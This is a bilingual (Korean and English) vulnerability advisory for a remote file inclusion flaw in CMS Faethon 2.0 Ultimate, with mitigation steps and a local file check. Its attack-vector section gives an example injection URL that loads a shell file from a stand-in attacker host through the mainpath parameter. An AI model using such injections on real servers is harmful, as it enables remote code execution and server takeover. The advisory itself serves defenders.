🇰🇷 한글 설명
CMS Faethon 2.0 Ultimate 및 이전 버전에서 register_globals과 magic_quotes_gpc가 활성화된 경우, mainpath 매개변수를 통한 원격 파일 포함(RFI) 취약점이 발생합니다. 공격자는 includes/rss-reader.php 또는 admin/config.php 파일에 악의적인 URL을 입력하여 원격에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 신뢰할 수 없는 외부 파일을 자동으로 불러와 실행하는 결함으로, 공격자가 악성 코드를 서버에서 실행하도록 할 수 있습니다. 서버의 완전한 제어 및 민감 정보 탈취가 가능합니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in CMS Faethon 2.0 Ultimate and earlier, when register_globals and magic_quotes_gpc are enabled, allow remote attackers to execute arbitrary PHP code via a URL in the mainpath parameter to (1) includes/rss-reader.php or (2) admin/config.php, different vectors than CVE-2006-3185.
📍 영향받는 시스템
CMS Faethon 2.0 Ultimate 이하 버전 (register_globals=ON, magic_quotes_gpc=ON 설정 필수)
⚔️ 공격 벡터
HTTP GET/POST 요청으로 mainpath 파라미터에 원격 PHP 파일 URL 주입 (예: ?mainpath=http://attacker.com/shell.php)
🛡️ 대응 방법
CMS Faethon을 최신 버전으로 업그레이드하고, php.ini에서 register_globals 및 magic_quotes_gpc 비활성화 (또는 입력값 검증 강화)
🔧 검증 코드
결과가 표시되면 해당 경로의 파일들이 존재하며, PHP 버전 확인(php -v) 및 php.ini의 register_globals 설정(php -i | grep register_globals) 확인 필요
find /var/www -name 'rss-reader.php' -o -name 'config.php' 2>/dev/null | xargs grep -l 'mainpath' 2>/dev/null